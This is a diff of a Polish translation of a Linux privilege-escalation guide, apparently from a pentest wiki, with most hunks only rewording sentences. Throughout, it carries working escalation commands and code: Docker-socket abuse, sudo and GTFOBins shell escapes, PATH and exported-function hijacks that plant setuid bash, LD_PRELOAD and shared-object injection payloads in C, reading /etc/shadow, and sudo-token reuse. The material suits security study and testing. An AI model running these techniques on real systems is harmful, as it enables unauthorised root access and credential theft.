* `Accept`: Przyjmuje argument logiczny. Jeśli jest **true**, dla każdego przychodzącego połączenia uruchamiana jest **instancja usługi** i tylko gniazdo połączenia jest do niej przekazywane. Jeśli jest **false**, wszystkie nasłuchujące gniazda same są **przekazywane do uruchomionej jednostki usługi**, i tylko jedna jednostka usługi jest uruchamiana dla wszystkich połączeń. Ta wartość jest ignorowana dla gniazd datagramowych i FIFO, gdzie pojedyncza jednostka usługi bezwarunkowo obsługuje cały ruch przychodzący. **Domyślnie false**. Ze względów wydajnościowych zaleca się pisanie nowych demonów tylko w sposób odpowiedni dla `Accept=no`.
|
* `Accept`: Przyjmuje argument logiczny. Jeśli jest **true**, dla każdego przychodzącego połączenia uruchamiana jest **instancja usługi** i tylko gniazdo połączenia jest do niej przekazywane. Jeśli jest **false**, wszystkie nasłuchujące gniazda same są **przekazywane do uruchomionej jednostki usługi**, i tylko jedna jednostka usługi jest uruchamiana dla wszystkich połączeń. Ta wartość jest ignorowana dla gniazd datagramowych i FIFO, gdzie pojedyncza jednostka usługi bezwarunkowo obsługuje cały ruch przychodzący. **Domyślnie false**. Ze względów wydajnościowych zaleca się pisanie nowych demonów tylko w sposób odpowiedni dla `Accept=no`.
|
||||||
* `ExecStartPre`, `ExecStartPost`: Przyjmuje jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** utworzeniu i powiązaniu nasłuchujących **gniazd**/FIFO. Pierwszy token linii poleceń musi być bezwzględną nazwą pliku, a następnie argumenty dla procesu.
|
* `ExecStartPre`, `ExecStartPost`: Przyjmuje jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** utworzeniu i powiązaniu nasłuchujących **gniazd**/FIFO. Pierwszy token linii poleceń musi być bezwzględną nazwą pliku, a następnie argumenty dla procesu.
|
||||||
* `ExecStopPre`, `ExecStopPost`: Dodatkowe **polecenia**, które są **wykonywane przed** lub **po** zamknięciu i usunięciu nasłuchujących **gniazd**/FIFO.
|
* `ExecStopPre`, `ExecStopPost`: Dodatkowe **polecenia**, które są **wykonywane przed** lub **po** zamknięciu i usunięciu nasłuchujących **gniazd**/FIFO.
|
||||||
* `Service`: Określa nazwę jednostki **usługi do aktywacji** na **ruchu przychodzącym**. To ustawienie jest dozwolone tylko dla gniazd z Accept=no. Domyślnie jest to usługa, która nosi tę samą nazwę co gniazdo (z zamienionym sufiksem). W większości przypadków nie powinno być konieczne korzystanie z tej opcji.
|
* `Service`: Określa nazwę jednostki **usługi do aktywacji** przy **ruchu przychodzącym**. To ustawienie jest dozwolone tylko dla gniazd z Accept=no. Domyślnie jest to usługa, która nosi tę samą nazwę co gniazdo (z zamienionym sufiksem). W większości przypadków nie powinno być konieczne korzystanie z tej opcji.
|
||||||
|
|
||||||
### Zapisywalne pliki .socket
|
### Zapisywalne pliki .socket
|
||||||
|
|
||||||
|
@ -508,7 +506,7 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of
|
||||||
|
|
||||||
### Gniazda HTTP
|
### Gniazda HTTP
|
||||||
|
|
||||||
Należy zauważyć, że mogą istnieć **gniazda nasłuchujące żądań HTTP** (_Nie mówię tutaj o plikach .socket, ale o plikach działających jako gniazda Unix_). Możesz to sprawdzić za pomocą:
|
Zauważ, że mogą istnieć **gniazda nasłuchujące żądania HTTP** (_Nie mówię o plikach .socket, ale o plikach działających jako gniazda Unix_). Możesz to sprawdzić za pomocą:
|
||||||
```bash
|
```bash
|
||||||
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
||||||
```
|
```
|
||||||
|
@ -516,9 +514,9 @@ Jeśli gniazdo **odpowiada żądaniem HTTP**, możesz z nim **komunikować się*
|
||||||
|
|
||||||
### Zapisywalne gniazdo Dockera
|
### Zapisywalne gniazdo Dockera
|
||||||
|
|
||||||
Gniazdo Dockera, często znajdujące się pod ścieżką `/var/run/docker.sock`, to istotny plik, który powinien być zabezpieczony. Domyślnie jest zapisywalny przez użytkownika `root` i członków grupy `docker`. Posiadanie uprawnień do zapisu tego gniazda może prowadzić do eskalacji uprawnień. Oto sposób, w jaki można to zrobić, oraz alternatywne metody, jeśli interfejs wiersza poleceń Dockera nie jest dostępny.
|
Gniazdo Dockera, często znajdujące się pod ścieżką `/var/run/docker.sock`, to istotny plik, który powinien być zabezpieczony. Domyślnie jest zapisywalny przez użytkownika `root` i członków grupy `docker`. Posiadanie uprawnień do zapisu tego gniazda może prowadzić do eskalacji uprawnień. Oto analiza, jak to można zrobić, oraz alternatywne metody, jeśli interfejs wiersza poleceń Dockera nie jest dostępny.
|
||||||
|
|
||||||
#### **Eskalacja uprawnień za pomocą Docker CLI**
|
#### **Eskalacja uprawnień za pomocą interfejsu wiersza poleceń Dockera**
|
||||||
|
|
||||||
Jeśli masz uprawnienia do zapisu gniazda Dockera, możesz eskalować uprawnienia, korzystając z poniższych poleceń:
|
Jeśli masz uprawnienia do zapisu gniazda Dockera, możesz eskalować uprawnienia, korzystając z poniższych poleceń:
|
||||||
```bash
|
```bash
|
||||||
|
@ -547,7 +545,7 @@ Uruchom nowo utworzony kontener:
|
||||||
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
|
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
|
||||||
```
|
```
|
||||||
|
|
||||||
3. **Podłączanie do kontenera:** Użyj `socat` do nawiązania połączenia z kontenerem, umożliwiając wykonywanie poleceń w nim.
|
3. **Podłączanie do kontenera:** Użyj `socat` do nawiązania połączenia z kontenerem, umożliwiając wykonanie poleceń wewnątrz niego.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
socat - UNIX-CONNECT:/var/run/docker.sock
|
socat - UNIX-CONNECT:/var/run/docker.sock
|
||||||
|
@ -557,7 +555,7 @@ Connection: Upgrade
|
||||||
Upgrade: tcp
|
Upgrade: tcp
|
||||||
```
|
```
|
||||||
|
|
||||||
Po ustawieniu połączenia `socat` można wykonywać polecenia bezpośrednio w kontenerze z dostępem na poziomie roota do systemu plików hosta.
|
Po skonfigurowaniu połączenia `socat` można wykonywać polecenia bezpośrednio w kontenerze z dostępem na poziomie roota do systemu plików hosta.
|
||||||
|
|
||||||
### Inne
|
### Inne
|
||||||
|
|
||||||
|
@ -587,9 +585,9 @@ Jeśli możesz użyć polecenia **`runc`**, przeczytaj następną stronę, ponie
|
||||||
|
|
||||||
## **D-Bus**
|
## **D-Bus**
|
||||||
|
|
||||||
D-Bus to zaawansowany **system komunikacji międzyprocesowej (IPC)**, który umożliwia aplikacjom efektywną interakcję i udostępnianie danych. Zaprojektowany z myślą o nowoczesnym systemie Linux, oferuje solidną strukturę dla różnych form komunikacji aplikacji.
|
D-Bus to zaawansowany **system komunikacji międzyprocesowej (IPC)**, który umożliwia aplikacjom efektywną interakcję i udostępnianie danych. Zaprojektowany z myślą o nowoczesnym systemie Linux, oferuje solidną strukturę do różnych form komunikacji aplikacji.
|
||||||
|
|
||||||
System jest wszechstronny, obsługując podstawową IPC, która ułatwia wymianę danych między procesami, przypominając o **ulepszonych gniazdach domenowych UNIX**. Ponadto pomaga w nadawaniu zdarzeń lub sygnałów, sprzyjając płynnej integracji między komponentami systemu. Na przykład sygnał od demona Bluetooth o nadchodzącym połączeniu może skłonić odtwarzacz muzyki do wyciszenia, poprawiając wrażenia użytkownika. Ponadto D-Bus obsługuje system zdalnych obiektów, upraszczając żądania usług i wywołania metod między aplikacjami, usprawniając procesy, które tradycyjnie były złożone.
|
System jest wszechstronny, obsługując podstawową komunikację międzyprocesową, ułatwiając wymianę danych między procesami, przypominając o **ulepszonych gniazdach domeny UNIX**. Ponadto wspiera nadawanie zdarzeń lub sygnałów, sprzyjając płynnej integracji między komponentami systemu. Na przykład sygnał od demona Bluetooth o nadchodzącym połączeniu może skłonić odtwarzacz muzyki do wyciszenia, poprawiając wrażenia użytkownika. Ponadto D-Bus obsługuje system zdalnych obiektów, upraszczając żądania usług i wywołania metod między aplikacjami, usprawniając procesy, które tradycyjnie były złożone.
|
||||||
|
|
||||||
D-Bus działa w oparciu o model **zezwolenia/odmowy**, zarządzając uprawnieniami wiadomości (wywołania metod, emisje sygnałów itp.) na podstawie łącznego efektu zgodnych z zasadami polityki. Te zasady określają interakcje z magistralą, potencjalnie umożliwiając eskalację uprawnień poprzez wykorzystanie tych uprawnień.
|
D-Bus działa w oparciu o model **zezwolenia/odmowy**, zarządzając uprawnieniami wiadomości (wywołania metod, emisje sygnałów itp.) na podstawie łącznego efektu zgodnych z zasadami polityki. Te zasady określają interakcje z magistralą, potencjalnie umożliwiając eskalację uprawnień poprzez wykorzystanie tych uprawnień.
|
||||||
|
|
||||||
|
@ -654,7 +652,7 @@ timeout 1 tcpdump
|
||||||
|
|
||||||
### Ogólna enumeracja
|
### Ogólna enumeracja
|
||||||
|
|
||||||
Sprawdź **kto** jesteś, jakie **uprawnienia** posiadasz, którzy **użytkownicy** są w systemach, którzy mogą się **zalogować** i którzy mają uprawnienia **root:**
|
Sprawdź **kto** jesteś, jakie **uprawnienia** posiadasz, którzy **użytkownicy** są w systemach, którzy mogą się **zalogować** oraz którzy posiadają uprawnienia **root:**
|
||||||
```bash
|
```bash
|
||||||
#Info about me
|
#Info about me
|
||||||
id || (whoami && groups) 2>/dev/null
|
id || (whoami && groups) 2>/dev/null
|
||||||
|
@ -678,7 +676,7 @@ gpg --list-keys 2>/dev/null
|
||||||
```
|
```
|
||||||
### Duże UID
|
### Duże UID
|
||||||
|
|
||||||
Niektóre wersje systemu Linux były dotknięte błędem, który pozwala użytkownikom z **UID > INT\_MAX** na eskalację uprawnień. Więcej informacji: [tutaj](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [tutaj](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) i [tutaj](https://twitter.com/paragonsec/status/1071152249529884674).\
|
Niektóre wersje Linuxa były dotknięte błędem, który pozwala użytkownikom z **UID > INT\_MAX** na eskalację uprawnień. Więcej informacji: [tutaj](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [tutaj](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) i [tutaj](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||||
**Wykorzystaj to** używając: **`systemd-run -t /bin/bash`**
|
**Wykorzystaj to** używając: **`systemd-run -t /bin/bash`**
|
||||||
|
|
||||||
### Grupy
|
### Grupy
|
||||||
|
@ -708,22 +706,22 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
|
||||||
```
|
```
|
||||||
### Znane hasła
|
### Znane hasła
|
||||||
|
|
||||||
Jeśli znasz **jakiekolwiek hasło** środowiska, **spróbuj zalogować się jako każdy użytkownik** używając hasła.
|
Jeśli znasz jakiekolwiek hasło do środowiska, spróbuj zalogować się jako każdy użytkownik, używając hasła.
|
||||||
|
|
||||||
### Su Brute
|
### Su Brute
|
||||||
|
|
||||||
Jeśli nie masz nic przeciwko generowaniu dużej ilości hałasu i binarne pliki `su` i `timeout` są obecne na komputerze, możesz spróbować przeprowadzić atak siłowy na użytkownika za pomocą [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
Jeśli nie masz nic przeciwko generowaniu dużej ilości hałasu i binarne pliki `su` i `timeout` są obecne na komputerze, możesz spróbować przeprowadzić atak siłowy na użytkownika, korzystając z [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||||||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) z parametrem `-a` również próbuje przeprowadzić atak siłowy na użytkowników.
|
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) z parametrem `-a` również próbuje przeprowadzić atak siłowy na użytkowników.
|
||||||
|
|
||||||
## Nadużycia zapisywalnych ścieżek
|
## Nadużycia zapisywalnych ścieżek
|
||||||
|
|
||||||
### $PATH
|
### $PATH
|
||||||
|
|
||||||
Jeśli odkryjesz, że możesz **pisać wewnątrz pewnego folderu z $PATH**, możesz próbować eskalacji uprawnień, tworząc **tylnie drzwi w zapisywalnym folderze** o nazwie jakiejś komendy, która zostanie wykonana przez innego użytkownika (najlepiej roota) i która **nie jest wczytywana z folderu znajdującego się wcześniej** niż twój zapisywalny folder w $PATH.
|
Jeśli odkryjesz, że możesz pisać wewnątrz pewnego folderu z $PATH, możesz próbować eskalacji uprawnień, tworząc tylną furtkę w zapisywalnym folderze o nazwie jakiejś komendy, która zostanie wykonana przez innego użytkownika (najlepiej root) i która nie jest ładowana z folderu znajdującego się wcześniej w $PATH.
|
||||||
|
|
||||||
### SUDO i SUID
|
### SUDO i SUID
|
||||||
|
|
||||||
Możesz mieć uprawnienia do wykonania pewnej komendy za pomocą sudo lub mogą mieć ustawiony bit suid. Sprawdź to używając:
|
Możesz mieć zezwolenie na wykonanie pewnej komendy za pomocą sudo lub mogą mieć ustawiony bit suid. Sprawdź to, używając:
|
||||||
```bash
|
```bash
|
||||||
sudo -l #Check commands you can execute with sudo
|
sudo -l #Check commands you can execute with sudo
|
||||||
find / -perm -4000 2>/dev/null #Find all SUID binaries
|
find / -perm -4000 2>/dev/null #Find all SUID binaries
|
||||||
|
@ -745,7 +743,7 @@ $ sudo -l
|
||||||
User demo may run the following commands on crashlab:
|
User demo may run the following commands on crashlab:
|
||||||
(root) NOPASSWD: /usr/bin/vim
|
(root) NOPASSWD: /usr/bin/vim
|
||||||
```
|
```
|
||||||
W tym przykładzie użytkownik `demo` może uruchomić `vim` jako `root`, teraz jest banalnie łatwo uzyskać powłokę, dodając klucz ssh do katalogu root lub wywołując `sh`.
|
W tym przykładzie użytkownik `demo` może uruchomić `vim` jako `root`, teraz jest banalnie łatwo uzyskać dostęp do powłoki, dodając klucz ssh do katalogu root lub wywołując `sh`.
|
||||||
```
|
```
|
||||||
sudo vim -c '!sh'
|
sudo vim -c '!sh'
|
||||||
```
|
```
|
||||||
|
@ -761,7 +759,7 @@ To przykład, **oparty na maszynie HTB Admirer**, był **podatny** na **przechwy
|
||||||
```bash
|
```bash
|
||||||
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
|
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
|
||||||
```
|
```
|
||||||
### Bypassowanie ścieżek wykonania Sudo
|
### Bypassowanie wykonania Sudo omijając ścieżki
|
||||||
|
|
||||||
**Skok** do odczytu innych plików lub użyj **symlinków**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
|
**Skok** do odczytu innych plików lub użyj **symlinków**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
|
||||||
```bash
|
```bash
|
||||||
|
@ -773,14 +771,14 @@ less>:e /etc/shadow #Jump to read other files using privileged less
|
||||||
ln /etc/shadow /var/log/new
|
ln /etc/shadow /var/log/new
|
||||||
sudo less /var/log/new #Use symlinks to read any file
|
sudo less /var/log/new #Use symlinks to read any file
|
||||||
```
|
```
|
||||||
Jeśli użyto **znaku wieloznacznego** (\*), jest jeszcze łatwiej:
|
Jeśli używany jest **znak wieloznaczny** (\*), jest to jeszcze łatwiejsze:
|
||||||
```bash
|
```bash
|
||||||
sudo less /var/log/../../etc/shadow #Read shadow
|
sudo less /var/log/../../etc/shadow #Read shadow
|
||||||
sudo less /var/log/something /etc/shadow #Red 2 files
|
sudo less /var/log/something /etc/shadow #Red 2 files
|
||||||
```
|
```
|
||||||
**Przeciwdziałania**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
|
**Przeciwdziałania**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
|
||||||
|
|
||||||
### Polecenie Sudo/binarny SUID bez ścieżki polecenia
|
### Polecenie Sudo/binarna SUID bez ścieżki polecenia
|
||||||
|
|
||||||
Jeśli **uprawnienia sudo** są nadane dla pojedynczego polecenia **bez określania ścieżki**: _hacker10 ALL= (root) less_, można je wykorzystać zmieniając zmienną PATH.
|
Jeśli **uprawnienia sudo** są nadane dla pojedynczego polecenia **bez określania ścieżki**: _hacker10 ALL= (root) less_, można je wykorzystać zmieniając zmienną PATH.
|
||||||
```bash
|
```bash
|
||||||
|
@ -788,29 +786,31 @@ export PATH=/tmp:$PATH
|
||||||
#Put your backdoor in /tmp and name it "less"
|
#Put your backdoor in /tmp and name it "less"
|
||||||
sudo less
|
sudo less
|
||||||
```
|
```
|
||||||
Ta technika może być również użyta, jeśli binarny plik **suid** **wykonuje inne polecenie bez określania ścieżki do niego (zawsze sprawdzaj zawartość dziwnego binarnego pliku suid za pomocą** _**strings**_**)**.
|
Ta technika może być również użyta, jeśli binarny **suid** **wykonuje inne polecenie bez określania ścieżki do niego (zawsze sprawdzaj zawartość dziwnego binarnego pliku suid za pomocą** _**strings**_**)**.
|
||||||
|
|
||||||
[Przykłady ładunków do wykonania.](payloads-to-execute.md)
|
[Przykłady ładunków do wykonania.](payloads-to-execute.md)
|
||||||
|
|
||||||
### SUID binary z ścieżką polecenia
|
### Binarny suid z ścieżką polecenia
|
||||||
|
|
||||||
Jeśli binarny plik **suid** **wykonuje inne polecenie, określając ścieżkę**, wtedy możesz spróbować **wyeksportować funkcję** o nazwie polecenia, które wywołuje plik suid.
|
Jeśli binarny **suid** **wykonuje inne polecenie, określając ścieżkę**, wtedy można spróbować **wyeksportować funkcję** o nazwie takiej jak polecenie, które wywołuje plik suid.
|
||||||
|
|
||||||
Na przykład, jeśli binarny plik suid wywołuje _**/usr/sbin/service apache2 start**_ musisz spróbować utworzyć funkcję i ją wyeksportować:
|
Na przykład, jeśli binarny suid wywołuje _**/usr/sbin/service apache2 start**_, musisz spróbować utworzyć funkcję i ją wyeksportować:
|
||||||
```bash
|
```bash
|
||||||
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
|
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
|
||||||
export -f /usr/sbin/service
|
export -f /usr/sbin/service
|
||||||
```
|
```
|
||||||
|
Następnie, gdy wywołasz binarny plik suid, ta funkcja zostanie wykonana
|
||||||
|
|
||||||
### LD\_PRELOAD & **LD\_LIBRARY\_PATH**
|
### LD\_PRELOAD & **LD\_LIBRARY\_PATH**
|
||||||
|
|
||||||
Zmienna środowiskowa **LD\_PRELOAD** służy do określenia jednej lub więcej bibliotek współdzielonych (.so), które mają być załadowane przez ładowacz przed wszystkimi innymi, w tym standardową bibliotekę C (`libc.so`). Ten proces jest znany jako wczytywanie biblioteki.
|
Zmienna środowiskowa **LD\_PRELOAD** służy do określenia jednej lub więcej bibliotek współdzielonych (.so), które mają być załadowane przez ładowacz przed wszystkimi innymi, w tym standardową bibliotekę C (`libc.so`). Ten proces jest znany jako wczytywanie biblioteki.
|
||||||
|
|
||||||
Jednakże, aby zachować bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji, zwłaszcza w przypadku wykonywalnych plików **suid/sgid**, system narzuca pewne warunki:
|
Jednakże, aby utrzymać bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji, zwłaszcza w przypadku plików wykonywalnych **suid/sgid**, system narzuca pewne warunki:
|
||||||
|
|
||||||
* Ładowacz ignoruje **LD\_PRELOAD** dla plików wykonywalnych, w których rzeczywiste ID użytkownika (_ruid_) nie pasuje do efektywnego ID użytkownika (_euid_).
|
* Ładowacz ignoruje **LD\_PRELOAD** dla plików wykonywalnych, w których rzeczywiste ID użytkownika (_ruid_) nie pasuje do efektywnego ID użytkownika (_euid_).
|
||||||
* Dla plików wykonywalnych z ustawionymi bitami suid/sgid, wczytywane są tylko biblioteki znajdujące się w standardowych ścieżkach, które również posiadają bity suid/sgid.
|
* Dla plików wykonywalnych z ustawionymi bitami suid/sgid, wczytywane są tylko biblioteki w standardowych ścieżkach, które również mają ustawione bity suid/sgid.
|
||||||
|
|
||||||
Eskalacja uprawnień może wystąpić, jeśli masz możliwość wykonywania poleceń za pomocą `sudo`, a wynik `sudo -l` zawiera instrukcję **env\_keep+=LD\_PRELOAD**. Ta konfiguracja pozwala zmiennej środowiskowej **LD\_PRELOAD** pozostać i być rozpoznaną nawet podczas uruchamiania poleceń za pomocą `sudo`, co potencjalnie prowadzi do wykonania arbitralnego kodu z podwyższonymi uprawnieniami.
|
Eskalacja uprawnień może wystąpić, jeśli masz możliwość wykonywania poleceń za pomocą `sudo`, a wynik `sudo -l` zawiera instrukcję **env\_keep+=LD\_PRELOAD**. Ta konfiguracja pozwala zmiennej środowiskowej **LD\_PRELOAD** utrzymać się i być rozpoznaną nawet podczas uruchamiania poleceń za pomocą `sudo`, co potencjalnie prowadzi do wykonania dowolnego kodu z podwyższonymi uprawnieniami.
|
||||||
```
|
```
|
||||||
Defaults env_keep += LD_PRELOAD
|
Defaults env_keep += LD_PRELOAD
|
||||||
```
|
```
|
||||||
|
@ -837,7 +837,7 @@ Ostatecznie, **zwiększ uprawnienia** uruchamiając
|
||||||
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
|
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Podobne eskalacje uprawnień mogą być wykorzystane, jeśli atakujący kontroluje zmienną środowiskową **LD\_LIBRARY\_PATH**, ponieważ kontroluje ścieżkę, w której będą wyszukiwane biblioteki.
|
Podobne podniesienie uprawnień może być wykorzystane, jeśli atakujący kontroluje zmienną środowiskową **LD\_LIBRARY\_PATH**, ponieważ kontroluje ścieżkę, w której będą wyszukiwane biblioteki.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -860,11 +860,11 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
|
||||||
```
|
```
|
||||||
### Binarne SUID – wstrzykiwanie .so
|
### Binarne SUID – wstrzykiwanie .so
|
||||||
|
|
||||||
Gdy napotkasz binarny plik z uprawnieniami **SUID**, które wydają się nietypowe, dobrą praktyką jest sprawdzenie, czy poprawnie wczytuje pliki **.so**. Można to sprawdzić, wykonując poniższą komendę:
|
Gdy napotkasz binarny plik z uprawnieniami **SUID**, które wydają się nietypowe, warto sprawdzić, czy poprawnie wczytuje pliki **.so**. Można to sprawdzić, wykonując poniższą komendę:
|
||||||
```bash
|
```bash
|
||||||
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
|
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
|
||||||
```
|
```
|
||||||
Na przykład napotkanie błędu typu _"open(“/path/to/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (No such file or directory)"_ sugeruje potencjał do wykorzystania.
|
Na przykład napotkanie błędu typu _"open(“/path/to/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (No such file or directory)"_ sugeruje potencjał do eksploatacji.
|
||||||
|
|
||||||
Aby to wykorzystać, należy utworzyć plik C, powiedzmy _"/path/to/.config/libcalc.c"_, zawierający następujący kod:
|
Aby to wykorzystać, należy utworzyć plik C, powiedzmy _"/path/to/.config/libcalc.c"_, zawierający następujący kod:
|
||||||
```c
|
```c
|
||||||
|
@ -885,7 +885,7 @@ gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
|
||||||
```
|
```
|
||||||
Ostatecznie uruchomienie dotkniętego binarnego pliku SUID powinno wywołać eksploit, umożliwiając potencjalne skompromitowanie systemu.
|
Ostatecznie uruchomienie dotkniętego binarnego pliku SUID powinno wywołać eksploit, umożliwiając potencjalne skompromitowanie systemu.
|
||||||
|
|
||||||
## Przechwytywanie Obiektu Dzielonego
|
## Shared Object Hijacking
|
||||||
```bash
|
```bash
|
||||||
# Lets find a SUID using a non-standard library
|
# Lets find a SUID using a non-standard library
|
||||||
ldd some_suid
|
ldd some_suid
|
||||||
|
@ -895,7 +895,7 @@ something.so => /lib/x86_64-linux-gnu/something.so
|
||||||
readelf -d payroll | grep PATH
|
readelf -d payroll | grep PATH
|
||||||
0x000000000000001d (RUNPATH) Library runpath: [/development]
|
0x000000000000001d (RUNPATH) Library runpath: [/development]
|
||||||
```
|
```
|
||||||
Teraz, gdy znaleźliśmy binarny plik SUID ładujący bibliotekę z folderu, w którym możemy pisać, stwórzmy bibliotekę w tym folderze o odpowiedniej nazwie:
|
Teraz, gdy znaleźliśmy binarny plik SUID ładujący bibliotekę z folderu, w którym możemy pisać, utwórzmy bibliotekę w tym folderze o odpowiedniej nazwie:
|
||||||
```c
|
```c
|
||||||
//gcc src.c -fPIC -shared -o /development/libshared.so
|
//gcc src.c -fPIC -shared -o /development/libshared.so
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -916,9 +916,9 @@ To oznacza, że wygenerowana przez Ciebie biblioteka musi mieć funkcję o nazwi
|
||||||
|
|
||||||
### GTFOBins
|
### GTFOBins
|
||||||
|
|
||||||
[**GTFOBins**](https://gtfobins.github.io) to kuratowana lista binarnych plików Unix, które mogą być wykorzystane przez atakującego do obejścia lokalnych ograniczeń bezpieczeństwa. [**GTFOArgs**](https://gtfoargs.github.io/) działa podobnie, ale dla przypadków, w których można **tylko wstrzykiwać argumenty** do polecenia.
|
[**GTFOBins**](https://gtfobins.github.io) to starannie wyselekcjonowana lista binarnych plików Unix, które mogą zostać wykorzystane przez atakującego do obejścia lokalnych ograniczeń bezpieczeństwa. [**GTFOArgs**](https://gtfoargs.github.io/) działa podobnie, ale w przypadkach, gdy można **tylko wstrzyknąć argumenty** do polecenia.
|
||||||
|
|
||||||
Projekt zbiera legalne funkcje binarnych plików Unix, które mogą być nadużyte do wyjścia z ograniczonych powłok, eskalacji lub utrzymania podwyższonych uprawnień, transferu plików, uruchamiania powłok bind i reverse oraz ułatwiania innych zadań związanych z eksploatacją po przejęciu.
|
Projekt zbiera legalne funkcje binarnych plików Unix, które mogą być nadużyte do wyjścia z ograniczonych powłok, eskalacji lub utrzymania podwyższonych uprawnień, transferu plików, uruchamiania powłok bind i reverse, oraz ułatwiania innych zadań po eksploatacji.
|
||||||
|
|
||||||
> gdb -nx -ex '!sh' -ex quit\
|
> gdb -nx -ex '!sh' -ex quit\
|
||||||
> sudo mysql -e '! /bin/sh'\
|
> sudo mysql -e '! /bin/sh'\
|
||||||
|
@ -931,11 +931,11 @@ Projekt zbiera legalne funkcje binarnych plików Unix, które mogą być naduży
|
||||||
|
|
||||||
### FallOfSudo
|
### FallOfSudo
|
||||||
|
|
||||||
Jeśli masz dostęp do `sudo -l`, możesz użyć narzędzia [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo), aby sprawdzić, czy znajduje sposób na wykorzystanie jakiejkolwiek reguły sudo.
|
Jeśli masz dostęp do `sudo -l`, możesz skorzystać z narzędzia [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo), aby sprawdzić, czy znajduje sposób na wykorzystanie jakiejkolwiek reguły sudo.
|
||||||
|
|
||||||
### Ponowne wykorzystanie tokenów Sudo
|
### Ponowne wykorzystanie tokenów Sudo
|
||||||
|
|
||||||
W przypadkach, gdy masz **dostęp do sudo**, ale nie znasz hasła, możesz eskalować uprawnienia, **czekając na wykonanie polecenia sudo, a następnie przejmując token sesji**.
|
W przypadkach, gdy masz **dostęp do sudo**, ale nie znasz hasła, możesz eskalować uprawnienia, **czekając na wykonanie polecenia sudo, a następnie przejęcie tokena sesji**.
|
||||||
|
|
||||||
Wymagania do eskalacji uprawnień:
|
Wymagania do eskalacji uprawnień:
|
||||||
|
|
||||||
|
@ -944,11 +944,11 @@ Wymagania do eskalacji uprawnień:
|
||||||
* `cat /proc/sys/kernel/yama/ptrace_scope` wynosi 0
|
* `cat /proc/sys/kernel/yama/ptrace_scope` wynosi 0
|
||||||
* `gdb` jest dostępny (możesz go przesłać)
|
* `gdb` jest dostępny (możesz go przesłać)
|
||||||
|
|
||||||
(Możesz tymczasowo włączyć `ptrace_scope` za pomocą `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` lub na stałe, modyfikując `/etc/sysctl.d/10-ptrace.conf` i ustawiając `kernel.yama.ptrace_scope = 0`)
|
(Możesz tymczasowo włączyć `ptrace_scope` poleceniem `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` lub na stałe, modyfikując `/etc/sysctl.d/10-ptrace.conf` i ustawiając `kernel.yama.ptrace_scope = 0`)
|
||||||
|
|
||||||
Jeśli spełnione są wszystkie te wymagania, **możesz eskalować uprawnienia, korzystając z:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo\_inject)
|
Jeśli spełnione są wszystkie te wymagania, **możesz eskalować uprawnienia za pomocą:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo\_inject)
|
||||||
|
|
||||||
* **Pierwsze wykorzystanie** (`exploit.sh`) utworzy binarny plik `activate_sudo_token` w _/tmp_. Możesz go użyć do **aktywowania tokenu sudo w swojej sesji** (nie otrzymasz automatycznie powłoki roota, wykonaj `sudo su`):
|
* **Pierwszy exploit** (`exploit.sh`) utworzy binarny plik `activate_sudo_token` w _/tmp_. Możesz go użyć do **aktywacji tokenu sudo w swojej sesji** (nie otrzymasz automatycznie powłoki roota, wykonaj `sudo su`):
|
||||||
```bash
|
```bash
|
||||||
bash exploit.sh
|
bash exploit.sh
|
||||||
/tmp/activate_sudo_token
|
